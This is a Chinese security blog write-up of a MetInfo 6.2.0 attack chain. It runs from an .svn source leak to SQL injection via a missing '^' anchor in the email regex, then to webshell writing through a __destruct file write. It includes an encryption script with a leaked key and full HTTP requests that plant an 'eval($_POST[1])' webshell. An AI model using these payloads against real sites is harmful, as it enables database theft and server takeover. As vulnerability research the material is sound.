metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳

摘要

今天公司做技术分享,分享了项目中的一个攻击metinfo的案例,很有意思的攻击链,记录下。

svn泄露

svn是一个开放源代码的版本控制系统,如果在网站中存在.svn目录,那么我们可以拿到网站的源代码,方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时,Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/

在目标站中发现了http://php.local/.svn/目录泄露源代码,发现是metinfo cms,拿到了位于config/config_safe.php中的key,这个key起到了很大作用。

什么是key呢?为什么要有这个key呢?

在metinfo安装完成后,会在config/config_safe.php写入一个key,这个key是用来加密解密账户信息的,你可以在app/system/include/class/auth.class.php看到加解密算法。

可以看到加解密采用了$this->auth_key.$key作为盐值,$key默认为空,那么这个$this->auth_key在哪定义的呢?

config/config.inc.php:109

有了这个key,我们可以自己针对性去加密解密程序密文。

有什么用呢?大部分的cms都会有全局参数过滤,而metinfo的全局过滤简直变态,我们很难直接从request中找到可用的sql注入而加了密之后的参数一半不会再进行过滤了,我们可以找下可控的加密参数。

正则匹配导致的注入

全局搜索$auth->decode寻找可控的参数,并且不走过滤的。

app/system/user/web/getpassword.class.php:93

public function dovalid() { global $_M; $auth = load::sys_class('auth', 'new'); $email = $auth->decode($_M['form']['p']); if(!is_email($email))$email = ''; if($email){ if($_M['form']['password']){ $user = $this->userclass->get_user_by_email($email); if($user){ if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){ okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']); }else{ okinfo($_M['url']['login'], $_M['word']['opfail']); } }else{ okinfo($_M['url']['login'], $_M['word']['NoidJS']); } } require_once $this->view('app/getpassword_mailset',$this->input); }else{ okinfo($_M['url']['register'], $_M['word']['emailvildtips2']); } } 
PHP

可以看到$email直接从$_M['form']['p']中经过$auth->decode 解密获取,并没有进行过滤,然后在get_user_by_email($email)中代入数据库查询。但是经过了is_email($email)判断是否为正确的邮箱地址。

跟进app/system/include/function/str.func.php:26

function is_email($email){ $flag = true; $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/'; if(preg_match($patten, $email) == 0){ $flag = false; } return $flag; } 
PHP

很正常的正则表达式,但是唯一缺少的是^起始符!那么我们构造如' and 1=1-- 1@qq.com也会返回true!

email要经过$auth->decode解密,这个时候我们的key就派上用场了,我们可以使用$auth->encode()来加密我们的payload传进去,构成注入。

将auth类自己搞一份出来。

<?php function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){ $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } }else{ return $keyc.str_replace('=', '', base64_encode($result)); } } print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0'))); 
PHP

需要注意这个123@qq.com是你自己注册的用户,如果met_user表中不存在一条记录,是延时不了的。

延时成功,你也可以构造布尔盲注,到此为止就是注入的部分,但是我们的目标是拿权限,一个注入就满足了?

组合拳

app/system/include/class/web.class.php:467 省略部分代码

public function __destruct(){ global $_M; //读取缓冲区数据 $output = str_replace(array('<!--<!---->','<!---->','<!--fck-->','<!--fck','fck-->','',"r",substr($admin_url,0,-1)),'',ob_get_contents()); ob_end_clean();//清空缓冲区 ... if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){ //静态页 $filename = urldecode($_M['form']['html_filename']); if(stristr(PHP_OS,"WIN")) { $filename = @iconv("utf-8", "GBK", $filename); } if(stristr($filename, '.php')){ jsoncallback(array('suc'=>0)); } if(file_put_contents(PATH_WEB.$filename, $output)){ jsoncallback(array('suc'=>1)); }else{ jsoncallback(array('suc'=>0)); } }else{ echo $output;//输出内容 } ... } 
PHP

在前台基类web.class.php中有__destruct魔术方法,而在这个方法中使用file_put_contents(PATH_WEB.$filename, $output写入文件,其中$output是通过ob_get_contents()获取的缓冲区数据,而$filename是从$_M['form']['html_filename']拿出来的,我们可控。

但是有一个if条件$_M['form']['metinfonow'] == $_M['config']['met_member_force'],这个met_member_force在哪呢?在数据库里,我们可以通过刚才的注入拿到!

那么我们现在的目的就变为怎么去控制$output也就是缓冲区的值。

ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo,输出都将被加入缓冲区中,直到程序运行结束或者使用ob_flush()来结束。

也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出,配合刚才的注入便可以写入shell。

全局搜索extends web寻找子类,在子类中寻找可控echo输出,最终找到的是app/system/include/module/uploadify.class.php的doupfile()方法

public function set_upload($info){ global $_M; $this->upfile->set('savepath', $info['savepath']); $this->upfile->set('format', $info['format']); $this->upfile->set('maxsize', $info['maxsize']); $this->upfile->set('is_rename', $info['is_rename']); $this->upfile->set('is_overwrite', $info['is_overwrite']); } ... public function upload($formname){ global $_M; $back = $this->upfile->upload($formname); return $back; } ... public function doupfile(){ global $_M; $this->upfile->set_upfile(); $info['savepath'] = $_M['form']['savepath']; $info['format'] = $_M['form']['format']; $info['maxsize'] = $_M['form']['maxsize']; $info['is_rename'] = $_M['form']['is_rename']; $info['is_overwrite'] = $_M['form']['is_overwrite']; $this->set_upload($info); $back = $this->upload($_M['form']['formname']); if($_M['form']['type']==1){ if($back['error']){ $back['error'] = $back['errorcode']; }else{ $backs['path'] = $back['path']; $backs['append'] = 'false'; $back = $backs; } } $back['filesize'] = round(filesize($back['path'])/1024,2); echo jsonencode($back); } ... 
PHP

echo的$back变量是从$_M['form']['formname']取出来的,可控,向上推看back变量的取值由$this->upfile->upload($formname)决定,跟进。

public function upload($form = '') { global $_M; if($form){ foreach($_FILES as $key => $val){ if($form == $key){ $filear = $_FILES[$key]; } } } if(!$filear){ foreach($_FILES as $key => $val){ $filear = $_FILES[$key]; break; } } //是否能正常上传 if(!is_array($filear))$filear['error'] = 4; if($filear['error'] != 0 ){ $errors = array( 0 => $_M['word']['upfileOver4'], 1 => $_M['word']['upfileOver'], 2 => $_M['word']['upfileOver1'], 3 => $_M['word']['upfileOver2'], 4 => $_M['word']['upfileOver3'], 6 => $_M['word']['upfileOver5'], 7 => $_M['word']['upfileOver5'] ); $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0]; return $this->error($errors[$filear['error']]); } ... //文件大小是否正确{} if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) { return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}"); } //文件后缀是否为合法后缀 $this->getext($filear["name"]); //获取允许的后缀 if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') { return $this->error($this->ext." {$_M['word']['upfileTip3']}"); } ... } 
PHP

省略部分代码

我们要看return回去的值就是back变量的值,所以重点关注return的东西看是否可控。

首先是正常foreach取出上传文件的信息,然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀,如果有错就return。到这里有两种思路。

超出文件大小getshell

在后台中最大文件大小是8m,如果我们上传一个超出8m的文件,那么upload()函数就会return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;); 而这个$filear[&quot;name&quot;]是我们可控的,在foreach中赋值的。

那么这样我们就可以把$filear[&quot;name&quot;]改为shell,然后return回去,赋值给$back,echo进缓冲区,最后file_put_contents拿到shell,完美的利用链。

但是这个8m太大了,我们可以通过注入进后台把这个限制改为0.0008

构造下payload,需要注意metinfonow参数是上文中从数据库中取出的met_member_force

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1 Host: php.local Content-Length: 1120 Origin: http://php.local User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW Content-Disposition: form-data; name="test"; filename="<?php eval($_POST[1]);?>" Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW-- 
HTTP

无后缀getshell

@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell,我自己测试在6.2.0中已经修复,不过还是提一下。

问题出在 app/system/include/class/upfile.class.php:139 getext()函数

如果不是合法后缀会return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;),而$this->ext经过getext()函数,跟进

protected function getext($filename) { if ($filename == "") { return ; } $ext = explode(".", $filename); $ext = $ext[count($ext) - 1]; return $this->ext = $ext; } 
PHP

直接return $ext,那么我们上传一个无后缀的文件,文件名写一句话就可以getshell

payload

POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1 Host: php.local Content-Length: 194 Origin: http://php.local User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>" Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW-- 
HTTP

而在6.2.0中,加入了一行正则判断后缀,绕不过去,无法getshell

protected function getext($filename) { if ($filename == "") { return ; } $ext = explode(".", $filename); $ext = $ext[count($ext) - 1]; if (preg_match("/^[0-9a-zA-Z]+$/u", $ext)) { return $this->ext = $ext; } return $this->ext = ''; } 
PHP

总结

  1. svn泄露分版本
  2. 注册是邮件的正则匹配问题
  3. 参数加密一般不走全局过滤 找找注入
  4. 关注echo和ob_get_contents()函数 说不定能写shell呢

参考链接

  1. https://nosec.org/home/detail/2436.html
  2. https://xz.aliyun.com/t/4425

目前评论:0 条

发表评论